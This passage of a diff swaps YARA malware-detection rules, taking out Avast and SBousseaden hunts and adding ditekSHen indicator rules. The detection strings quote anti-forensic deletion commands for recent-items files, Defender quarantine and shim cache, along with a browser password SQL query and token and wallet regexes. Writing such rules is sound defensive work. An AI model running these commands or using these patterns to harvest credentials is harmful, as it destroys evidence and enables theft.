-		$s13 = "manjusakahttp:"
-		$s14 = "pluginexecpluginloadreqcwdreqcmd"
-		$s15 = "/NPSC2/npc/libs/"
+		$s1 = "edom SOD ni nur eb tonnac margorp sihT" ascii
 
 	condition:
-		AVASTTI_ELF_PRIVATE and ( all of ($s0*) and any of ($s1*))
+		uint16( filesize -0x2)==0x4d5a and $s1
 }
-rule AVASTTI_Manjusaka_Payload_Mz
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICOUS_EXE_UNC_Regex : FILE
 {
 	meta:
-		description = "No description has been set in the source file - AvastTI"
-		author = "Avast Threat Intel Team"
-		id = "808fe840-27e2-5361-b97a-4b04e6d8f7da"
-		date = "2022-10-05"
-		modified = "2022-10-05"
-		reference = "https://github.com/avast/ioc"
-		source_url = "https://github.com/avast/ioc/blob/19245ea6066a04f15e0859899546f1378ef578cb/Manjusaka/Manjusaka.yar#L124-L161"
-		license_url = "N/A"
-		hash = "6839180bc3a2404e629c108d7e8c8548caf9f8249bbbf658b47c00a15a64758f"
-		hash = "cd0c75638724c0529cc9e7ca0a91d2f5d7221ef2a87b65ded2bc1603736e3b5d"
-		hash = "d5918611b1837308d0c6d19bff4b81b00d4f6a30c1240c00a9e0a9b08dde1412"
-		hash = "2b174d417a4e43fd6759c64512faa88f4504e8f14f08fd5348fff51058c9958f"
-		hash = "377bacba69d2bec770599ab21a202b574b92fb431fc35bbdf39080025d6cf2d6"
-		hash = "86c633467ba7981d3946a63184dbfabce587b571f761b3eb1e3e43f6b1df6f2c"
-		hash = "51857882d1202e72c0cf18ff21de773c2a31ee68ff28385f968478401c5ab4bb"
-		hash = "e07aa10f19574a856a4ac389a3ded96f2d78f41f939935dd678811bd12b5bd03"
-		hash = "9e7144540430d97de38a2adcef16ad43e23c91281462b135fcc56cafc2f34160"
-		logic_hash = "81b01eff8384707ce67f6d888e59e690d7fb7b4e32359043ced9230499813aa7"
-		score = 60
-		quality = 50
-		tags = ""
+		description = "Detects executables with considerable number of regexes often observed in infostealers"
+		author = "ditekSHen"
+		id = "968ed633-46ed-5efe-84e5-64718f89fb0a"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2279-L2308"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "9201469952c2cacebbcbf6801e2c22d018f36742ffbefedc8ee4aa34f413334a"
+		score = 75
+		quality = 73
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s01 = ".\\protos\\cs.rstargetintranethostnameplatformpidAgentsstatusagentinternetupdateatAgentUpdate"
-		$s02 = "PluginExecPluginLoadReqCwdcmdReqCmd"
-		$s03 = "Users\\Administrator.WIN7-2021OVWRCZ\\.cargo"
-		$s04 = "Users\\runneradmin\\.cargo"
-		$s05 = "windows\\c.rsNtReadFile"
-		$s11 = "src\\mirrors.ustc.edu.cn-"
-		$s12 = "CodeProject\\hw_src\\NPSC2\\npc\\target\\release\\deps\\npc.pdb"
-		$s13 = "@@@manjusaka"
-		$s14 = "***manjusakahttp://"
-		$s15 = "SELECT signon_realm, username_value, password_value FROM loginsnetshwlanshowprofile"
-		$s16 = "name=key=clearWIFI"
-		$s17 = "cmd.exe/c"
-		$s18 = "Accept-Languagezh-CN,zh;q=0.9,en;q=0.8Accept-Encodinggzip"
-		$s19 = "library\\std\\src\\sys_common\\wtf8.rs"
-		$s110 = "plug_getpass_nps.dll"
-		$s111 = "plug_test_nps.dll"
+		$s1 = "^((8|\\+7|\\+380|\\+375|\\+373)[\\- ]?)?(\\(?\\d{3}\\)?[\\- ]?)?[\\d\\- ]{7,10}$" ascii wide
+		$s2 = "(^(1|3)(?=.*[0-9])(?=.*[a-zA-Z])[\\da-zA-Z]{27,34}?[\\d\\- ])|(^(1|3)(?=.*[0-9])(?=.*[a-zA-Z])[\\da-zA-Z]{27,34})$" ascii wide
+		$s3 = "(^L[A-Za-z0-9]{32,34}?[\\d\\- ])|(^L[A-Za-z0-9]{32,34})$" ascii wide
+		$s4 = "(^q[A-Za-z0-9\\:]{32,54}?[\\d\\- ])|(^q[A-Za-z0-9\\:]{32,54})$" ascii wide
+		$s5 = "^(P|p){1}[0-9]?[\\d\\- ]{7,15}|.+@.+\\..+$" ascii wide
+		$s6 = "(^0x[A-Za-z0-9]{40,42}?[\\d\\- ])|(^0x[A-Za-z0-9]{40,42})$" ascii wide
+		$s7 = "(^X[A-Za-z0-9]{32,34}?[\\d\\- ])|(^X[A-Za-z0-9]{32,34})$" ascii wide
+		$s8 = "^41001[0-9]?[\\d\\- ]{7,11}$" ascii wide
+		$s9 = "^R[0-9]?[\\d\\- ]{12,13}$" ascii wide
+		$s10 = "^Z[0-9]?[\\d\\- ]{12,13}$" ascii wide
+		$s11 = "(^(GD|GC)[A-Z0-9]{54,56}?[\\d\\- ])|(^(GD|GC)[A-Z0-9]{54,56})$" ascii wide
+		$s12 = "(^A[A-Za-z0-9]{32,34}?[\\d\\- ])|(^A[A-Za-z0-9]{32,34})$" ascii wide
+		$s13 = "(^t[A-Za-z0-9]{32,36}?[\\d\\- ])|(^t[A-Za-z0-9]{32,36})$" ascii wide
+		$s14 = "(^r[A-Za-z0-9]{32,34}?[\\d\\- ])|(^r[A-Za-z0-9]{32,34})$" ascii wide
+		$s15 = "(^G[A-Za-z0-9]{32,35}?[\\d\\- ])|(^G[A-Za-z0-9]{32,35})$" ascii wide
+		$s16 = "(^D[A-Za-z0-9]{32,35}?[\\d\\- ])|(^D[A-Za-z0-9]{32,35})$" ascii wide
+		$s17 = "(^(T[A-Z])[A-Za-z0-9]{32,35}?[\\d\\- ])|(^(T[A-Z])[A-Za-z0-9]{32,35})$" ascii wide
+		$s18 = "^1[a-km-zA-HJ-NP-Z1-9]{25,34}$" ascii wide
+		$s19 = "^3[a-km-zA-HJ-NP-Z1-9]{25,34}$" ascii wide
+		$s20 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" ascii wide
+		$s21 = "^(?!:\\/\\/)([a-zA-Z0-9-_]+\\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\\.[a-zA-Z]{2,11}?$" ascii wide
+		$s22 = "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}|mfa\\.[\\w-]{84}" ascii wide
 
 	condition:
-		AVASTTI_EXE_PRIVATE and (2 of ($s0*) or 3 of ($s1*))
+		uint16(0)==0x5a4d and 6 of them
 }
-/*
- * YARA Rule Set
- * Repository Name: SBousseaden
- * Repository: https://github.com/sbousseaden/YaraHunts/
- * Retrieval Date: 2024-08-04
- * Git Commit: 71b27a2a7c57c2aa1877a11d8933167794e2b4fb
- * Number of Rules: 36
- * Skipped: 0 (age), 4 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * NO LICENSE SET
- */
+import "time"
 import "pe"
 
-rule SBOUSSEADEN_Hunt_Dllhijack_Wow64Log : FILE
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_Deleterecentitems : FILE
 {
 	meta:
-		description = "broad hunt for non MS wow64log module"
-		author = "SBousseaden"
-		id = "1d01917f-0690-5ede-947a-90fc86c03c38"
-		date = "2020-06-05"
-		modified = "2020-06-05"
-		reference = "http://waleedassar.blogspot.com/2013/01/wow64logdll.html"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/wow64log.yara#L3-L13"
-		license_url = "N/A"
-		logic_hash = "e8ec491fe579b7e57b7e9078515a9628cfc2e0f3645882b9a352ff28a2fcb817"
-		score = 50
-		quality = 75
+		description = "Detects executables embedding anti-forensic artifacts of deleting Windows Recent Items"
+		author = "ditekSHen"
+		id = "58a14ad6-8f32-54d8-b343-88629af8810b"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2310-L2321"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "01efada47910a345e7bde4e9295754aefec38355193f45c4630f55050d835cd9"
+		score = 40
+		quality = 37
 		tags = "FILE"
+		importance = 20
+
+	strings:
+		$s1 = "del C:\\Windows\\AppCompat\\Programs\\RecentFileCache.bcf" ascii wide nocase
+		$s2 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\*" ascii wide nocase
+		$s3 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\*" ascii wide nocase
+		$s4 = "del /F /Q %APPDATA%\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and (pe.exports("Wow64LogInitialize") or pe.exports("Wow64LogMessageArgList") or pe.exports("Wow64LogSystemService") or pe.exports("Wow64LogTerminate"))
+		uint16(0)==0x5a4d and 2 of them
 }
-rule SBOUSSEADEN_Cve_2019_1458 : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_Deletewindefenderquarantinefiles : FILE
 {
 	meta:
-		description = "No description has been set in the source file - SBousseaden"
-		author = "SBousseaden"
-		id = "7bcbfccb-2db0-5438-9ed1-eee4c92710b6"
-		date = "2020-10-23"
-		modified = "2020-10-23"
-		reference = "https://github.com/unamer/CVE-2019-1458"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_cve_2019_1458.yara#L1-L22"
-		license_url = "N/A"
-		logic_hash = "8c5eac6b9fb9f87e0ffb219f0af8f83475799e062ed339da7a0525180292f5f2"
-		score = 75
-		quality = 75
+		description = "Detects executables embedding anti-forensic artifacts of deleting Windows defender quarantine files"
+		author = "ditekSHen"
+		id = "a2b5c531-4e51-5c44-838b-3dffc2ed0263"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2323-L2337"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "1cf82a8fb6c878cb3aaeaf36eb346b2f8038e166e8ce7b5c214769e475ae91de"
+		score = 40
+		quality = 29
 		tags = "FILE"
+		importance = 20
 
 	strings:
-		$s1 = "RtlGetVersion"
-		$s2 = {45 33 C9 BA 03 80 00 00 33 C9}
-		$s3 = "SploitWnd"
-		$s4 = "CreateWindowExW"
-		$s5 = "GetKeyboardState"
-		$s6 = "SetKeyboardState"
-		$s7 = "SetWindowLongPtrW"
-		$s9 = "SetClassLongPtrW"
-		$s10 = "DestroyWindow"
-		$s11 = "CreateProcess"
-		$s12 = {4C 8B D1 8B 05 ?? ?? ?? 00 0F 05 C3}
-		$s13 = {80 10 00 00 09 10}
-		$s14 = "NtUserMessageCall"
-		$s15 = "HMValidateHandle"
-		$s16 = "IsMenu"
+		$s1 = "rmdir C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\Entries /S" ascii wide nocase
+		$s2 = "rmdir C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\Resources /S" ascii wide nocase
+		$s3 = "rmdir C:\\ProgramData\\Microsoft\\Windows Defender\\Quarantine\\ResourceData /S" ascii wide nocase
+		$r1 = "rmdir" ascii wide nocase
+		$p1 = "Microsoft\\Windows Defender\\Quarantine\\Entries /S" ascii wide nocase
+		$p2 = "Microsoft\\Windows Defender\\Quarantine\\Resources /S" ascii wide nocase
+		$p3 = "Microsoft\\Windows Defender\\Quarantine\\ResourceData /S" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and (2 of ($s*) or (1 of ($r*) and 2 of ($p*)))
 }
-rule SBOUSSEADEN_Hunt_Common_Credit_Card_Memscrapper : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_Deleteshimcache : FILE
 {
 	meta:
-		description = "Hunting rule for possible CC data memory scrapper"
-		author = "SBousseaden"
-		id = "f342535f-2236-5da0-8a4d-d7fecb7737b8"
-		date = "2020-07-17"
-		modified = "2020-07-18"
-		reference = "https://github.com/sbousseaden/YaraHunts/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_creditcard_memscrap.yara#L1-L28"
-		license_url = "N/A"
-		logic_hash = "983cc0c93dd19b32f729540dcc691b3a01ead8ed916e3ef5259456f5e25bd009"
-		score = 50
-		quality = 75
+		description = "Detects executables embedding anti-forensic artifacts of deleting shim cache"
+		author = "ditekSHen"
+		id = "32b185f2-a11e-522e-822e-7023698975f8"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2339-L2350"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "4ecd9e4db082a464735e447f95175ec5b35164d42fce7be862400191c143aa23"
+		score = 40
+		quality = 37
 		tags = "FILE"
+		importance = 20
 
 	strings:
-		$api1 = "NtOpenProcess"
-		$api2 = "NtQueryVirtualMemory"
-		$api3 = "NtReadVirtualMemory"
-		$cc1 = "^3[47][0-9]{13}$"
-		$cc2 = "^(6541|6556)[0-9]{12}$"
-		$cc3 = "^389[0-9]{11}$"
-		$cc4 = "^3(?:0[0-5]|[68][0-9])[0-9]{11}$"
-		$cc5 = "^65[4-9][0-9]{13}|64[4-9][0-9]{13}|6011[0-9]{12}|(622(?:12[6-9]|1[3-9][0-9]|[2-8][0-9][0-9]|9[01][0-9]|92[0-5])[0-9]{10})$"
-		$cc6 = "^63[7-9][0-9]{13}$"
-		$cc7 = "^(?:2131|1800|35\\d{3})\\d{11}$"
-		$cc8 = "^9[0-9]{15}$"
-		$cc9 = "^(6304|6706|6709|6771)[0-9]{12,15}$"
-		$cc10 = "^(5018|5020|5038|6304|6759|6761|6763)[0-9]{8,15}$"
-		$cc11 = "^(5[1-5][0-9]{14}|2(22[1-9][0-9]{12}|2[3-9][0-9]{13}|[3-6][0-9]{14}|7[0-1][0-9]{13}|720[0-9]{12}))$"
-		$cc12 = "^(6334|6767)[0-9]{12}|(6334|6767)[0-9]{14}|(6334|6767)[0-9]{15}$"
-		$cc13 = "^(4903|4905|4911|4936|6333|6759)[0-9]{12}|(4903|4905|4911|4936|6333|6759)[0-9]{14}|(4903|4905|4911|4936|6333|6759)[0-9]{15}|564182[0-9]{10}|564182[0-9]{12}|564182[0-9]{13}|633110[0-9]{10}|633110[0-9]{12}|633110[0-9]{13}$"
-		$cc14 = "^(62[0-9]{14,17})$"
-		$cc15 = "^4[0-9]{12}(?:[0-9]{3})?$"
-		$cc16 = "^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14})$"
+		$s1 = "Rundll32.exe apphelp.dll,ShimFlushCache" ascii wide nocase
+		$s2 = "Rundll32 apphelp.dll,ShimFlushCache" ascii wide nocase
+		$m1 = ".dll,ShimFlushCache" ascii wide nocase
+		$m2 = "rundll32" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and 1 of ($cc*) and all of ($api*)
+		uint16(0)==0x5a4d and (1 of ($s*) or all of ($m*))
 }
-rule SBOUSSEADEN_Dcsync_Mimikatz : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_Shredfilesteps : FILE
 {
 	meta:
-		description = "Hunting rule for Mimikatz Implementation of DCSync Attack"
-		author = "SBousseaden"
-		id = "2d5d5fdb-8a84-5e88-b136-4e3e788c46cd"
-		date = "2020-09-22"
-		modified = "2020-09-22"
-		reference = "https://github.com/gentilkiwi/mimikatz"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_mimikatz_dcsync.yara#L1-L24"
-		license_url = "N/A"
-		logic_hash = "436979d794b7b599f2186252c7f233f091100880c2d39008d8bd7f839553fb53"
-		score = 50
-		quality = 75
+		description = "Detects executables embedding/copying file shredding steps"
+		author = "ditekSHen"
+		id = "2a4ac767-8946-5e58-9087-aa1d3a97b5d5"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2352-L2365"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "9e784c1d06b232ac2de7318854a59b237aeb88d8e6670fe4ecc9f3230310088a"
+		score = 40
+		quality = 45
 		tags = "FILE"
+		importance = 20
 
 	strings:
-		$DRS1 = "DRSGetNCChanges"
-		$DRS2 = "DRSReplicaAdd"
-		$DRS3 = "DRSAddEntry"
-		$DRSW1 = "DRSGetNCChanges" wide
-		$DRSW2 = "DRSReplicaAdd" wide
-		$DRSW3 = "DRSAddEntry" wide
-		$rpc1 = {35 42 51 E3 06 4B D1 11 AB 04 00 C0 4F C2 DC D2 04 00 00 00 04 5D 88 8A EB 1C C9 11 9F E8 08 00 2B 10 48 60 02}
-		$rpc2 = {34 05 50 21 18 00 08 00 13 81 20 00 8A 05 70 00 28}
-		$rpc3 = {0B 01 10 00 DC 05 50 21 18 00 08 00 13 21 20 00 2E 06 70 00 28}
-		$rpc4 = {48 06 50 21 18 00 08 00 13 41 20 00 72 06 70 00 28}
-		$rpc5 = {78 03 0B 00 10 00 7C 03 13 20 18 00 A4 03 10 01 20 00 AC 03 70 00 28}
-		$rpc6 = {C0 03 50 21 18 00 08 00 13 01 20 00 74 04 70 00 28}
-		$rpc7 = {8C 06 50 21 18 00 08 00 13 A1 20 00 C6 06 70 00 28}
-		$def1 = "mimikatz"
-		$def2 = "mimikatz" wide
+		$s1 = { 55 00 00 00 aa 00 00 00 92 49 24 00 49 24 92 00
+                24 92 49 00 00 00 00 00 11 00 00 00 22 00 00 00
+                33 00 00 00 44 00 00 00 66 00 00 00 88 00 00 00
+                99 00 00 00 bb 00 00 00 cc 00 00 00 dd 00 00 00
+                ee 00 00 00 ff 00 00 00 6d b6 db 00 b6 db 6d 00
+                db 6d b6 }
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($DRS*) or all of ($DRSW*)) and all of ($rpc*) and not ( any of ($def*))
+		uint16(0)==0x5a4d and all of them
 }
+import "time"
 import "pe"
 
-rule SBOUSSEADEN_Gosliver
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_PWS_Capturescreenshot
 {
 	meta:
-		description = "No description has been set in the source file - SBousseaden"
-		author = "SBousseaden"
-		id = "eba5043a-ca4d-5c5d-a895-51218b03e59e"
-		date = "2020-10-11"
-		modified = "2020-10-11"
-		reference = "https://github.com/BishopFox/sliver"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_sliver_go_framwwork.yara#L2-L9"
-		license_url = "N/A"
-		logic_hash = "8dc96e533adc29c78a998d9f064ff294d2ef8a4ff00cef8b0c81ef465ef70b08"
-		score = 75
-		quality = 75
+		description = "Detects PowerShell script with screenshot capture capability"
+		author = "ditekSHen"
+		id = "d769936a-a81d-5052-8b1b-7bd5a73b41db"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2367-L2379"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "26e02d7dc242fb2c913b3a7c07e92c84becad62a4cdbae781bce948bfe0eb81b"
+		score = 40
+		quality = 45
 		tags = ""
+		importance = 20
 
 	strings:
-		$go = "_cgo_"
+		$encoder = ".ImageCodecInfo]::GetImageEncoders(" ascii nocase
+		$capture1 = ".Sendkeys]::SendWait(\"{PrtSc}\")" ascii nocase
+		$capture2 = ".Sendkeys]::SendWait('{PrtSc}')" ascii nocase
+		$access = ".Clipboard]::GetImage(" ascii nocase
+		$save = ".Save(" ascii nocase
 
 	condition:
-		#go>10 and pe.exports("RunSliver")
+		$encoder and (1 of ($capture*) and ($access or $save))
 }
-rule SBOUSSEADEN_Shad0W_Ldrloaddll_Hook : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_PWS_Capturebrowserplugins
 {
 	meta:
-		description = "Shad0w beacon LdrLoadDll hook"
-		author = "SBousseaden"
-		id = "f9f75b96-2341-553f-b6ca-28d6cb9b880a"
-		date = "2020-06-06"
-		modified = "2020-06-07"
-		reference = "https://github.com/bats3c/shad0w"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/shad0w_ldrhook.yara#L1-L13"
-		license_url = "N/A"
-		logic_hash = "28e8ca9eee2377fd816dd3bd29e05f4146cea975e0ba5ec180073e10a49895e0"
-		score = 75
-		quality = 75
-		tags = "FILE"
+		description = "Detects PowerShell script with browser plugins capture capability"
+		author = "ditekSHen"
+		id = "9b1bb195-6e32-5f93-ba70-efcb21b26bb0"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2381-L2394"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "ac7be8663507e96ecb224f7f09f9092069eab5967598e33c107fa341de86bc77"
+		score = 40
+		quality = 45
+		tags = ""
+		importance = 20
 
 	strings:
-		$s1 = "LdrLoadD"
-		$s2 = "SetPr"
-		$s3 = "Policy"
-		$s4 = {B8 49 BB DE AD C0}
+		$s1 = "$env:APPDATA +" ascii nocase
+		$s2 = "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}|mfa\\.[\\w-]{84}" ascii nocase
+		$s3 = "\\leveldb" ascii nocase
+		$o1 = ".Match(" ascii nocase
+		$o2 = ".Contains(" ascii nocase
+		$o3 = ".Add(" ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and all of ($s*)
+		2 of ($s*) and 2 of ($o*)
 }
-rule SBOUSSEADEN_Hunt_Evtmutehook_Memory
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_IMG_Embedded_B64_EXE : FILE
 {
 	meta:
-		description = "memory hunt for default wevtsv EtwEventCallback hook pattern to apply to eventlog svchost memory dump"
-		author = "SBousseaden"
-		id = "5326581e-90d9-59b9-8dc5-74df97571600"
-		date = "2020-09-05"
-		modified = "2020-09-05"
-		reference = "https://blog.dylan.codes/pwning-windows-event-logging/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_memory_evtmutehook.yara#L1-L11"
-		license_url = "N/A"
-		logic_hash = "3db66069ed67d90031a6fe071dad4d0200ddd661b263dd2860df026673031e48"
-		score = 50
-		quality = 75
-		tags = ""
+		description = "Detects images with specific base64 markers and/or embedding (reversed) base64-encoded executables"
+		author = "ditekSHen"
+		id = "c620b461-5ad8-530b-a3e1-f75a9e30534e"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2396-L2413"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "0fe1328aba3b30820e3885c87a93e52306bd25abc5912378a12e1213a686cd39"
+		score = 40
+		quality = 45
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$a = {49 BB ?? ?? ?? ?? ?? ?? ?? ?? 41 FF E3 54 24 20 4C 8B 05 61 CB 1A 00 0F 57 C0 66 0F 7F 44 24 20 E8 5B 0A 00 00 48 83 C4 38 C3}
-		$b = {48 83 EC 38 4C 8B 0D 65 CB 1A 00 48 8D 54 24 20 4C 8B 05 61 CB 1A 00 0F 57 C0 66 0F 7F 44 24 20 E8 5B 0A 00 00 48 83 C4 38 C3}
+		$m1 = "<<BASE64_START>>" ascii
+		$m2 = "<<BASE64_END>>" ascii
+		$m3 = "BASE64_START" ascii
+		$m4 = "BASE64_END" ascii
+		$m5 = "BASE64-START" ascii
+		$m6 = "BASE64-END" ascii
+		$m7 = "BASE64START" ascii
+		$m8 = "BASE64END" ascii
+		$h1 = "TVqQA" ascii
+		$h2 = "AQqVT" ascii
 
 	condition:
-		$a and not $b
+		( uint32(0)==0xd8ff or uint32(0)==0x474e5089 or uint16(0)==0x4d42) and ((2 of ($m*)) or (1 of ($h*)))
 }
-rule SBOUSSEADEN_Zerlologon_Mimikatz : FILE
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Transfersh_URL : FILE
 {
 	meta:
-		description = "Generic Hunting rule for Mimikatz Implementation of ZeroLogon PrivEsc Exploit"
-		author = "SBousseaden"
-		id = "0fd32f14-d82d-5af4-b4a2-b21e2325ade8"
-		date = "2020-09-17"
-		modified = "2020-09-17"
-		reference = "https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20200916"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_mimikatz_zerologon.yar#L1-L19"
-		license_url = "N/A"
-		logic_hash = "5b8d618e8e680acd4e5a9def4e3b56617080dec0c5787c3d6f948489346a6888"
-		score = 50
-		quality = 75
+		description = "Detects files referencing the transfer.sh file sharing website"
+		author = "ditekSHen"
+		id = "15c6ba05-199d-52ba-98bf-7e8a8eda0295"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2415-L2423"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "45b16f853bcd9c492468bc478d0a7eeecd261ae47b5b00bb1e4a79788fdec7a1"
+		score = 40
+		quality = 43
 		tags = "FILE"
+		importance = 20
 
 	strings:
-		$rch1 = "NetrServerReqChallenge"
-		$rch2 = "NetrServerReqChallenge" wide
-		$auth1 = "NetrServerAuthenticate2"
-		$auth2 = "NetrServerAuthenticate2" wide
-		$pwd1 = "NetrServerPasswordSet2"
-		$pwd2 = "NetrServerPasswordSet2" wide
-		$rpc1 = {78 56 34 12 34 12 CD AB EF 00 01 23 45 67 CF FB}
-		$rpc2 = {00 00 12 08 25 5C 11 08 25 5C 11 00 08 00 1D 00 08 00 02 5B 15 00 08 00 4C 00 F4 FF 5C 5B 11 04 F4 FF 11 08 08 5C 11 00 02 00 15 03 0C 00 4C 00 E4 FF 08 5B 11 04 F4 FF 11 00 08 00 1D 01 00 02 05 5B 15 03 04 02 4C 00 F4 FF 08 5B 11 04 0C 00 1D 00 10 00 4C 00 BE FF 5C 5B 15 00 10 00 4C 00 F0 FF 5C 5B 00}
-		$rpc3 = {00 48 00 00 00 00 04 00 28 00 31 08 00 00 00 5C 3C 00 44 00 46 05 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 0A 01 10 00 14 00 12 21 18 00 14 00 70 00 20 00 08 00 00 48 00 00 00 00 0F 00 40 00 31 08 00 00 00 5C 5E 00 60 00 46 08 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 48 00 10 00 0D 00 0B 01 18 00 08 00 0A 01 20 00 14 00 12 21 28 00 14 00 58 01 30 00 08 00 70 00 38 00 08 00 00 48 00 00 00 00 1E 00 40 00 31 08 00 00 00 5C 8E 02 58 00 46 08 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 48 00 10 00 0D 00 0B 01 18 00 08 00 0A 01 20 00 2A 00 12 41 28 00 2A 00 0A 01 30 00 42 00 70 00 38 00 08 00 00 48 00 00 00 00 2A 00 48 00 31 08 00 00 00 5C 56 00 40 01 46 09 0A 01 00 00 00 00 00 00 00 00 0B 00 00 00 02 00 0B 01 08 00 08 00 48 00 10 00 0D 00 0B 01 18 00 08 00 0A 01 20 00 2A 00 12 41 28 00 2A 00 12 41 30 00 5A 00 12 41 38 00 5A 00 70 00 40 00 08 00 00 00}
+		$s1 = "//transfer.sh/get/" ascii wide nocase
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($rch*) and 1 of ($auth*) and 1 of ($pwd*)) and 2 of ($rpc*)
+		uint16(0)==0x5a4d and 1 of them
 }
-rule SBOUSSEADEN_Mem_Webcreds_Regexp_Xor
+import "time"
+import "pe"
+
+rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_References_Publicserviceinterface : FILE
 {
 	meta:
-		description = "No description has been set in the source file - SBousseaden"
-		author = "SBousseaden"
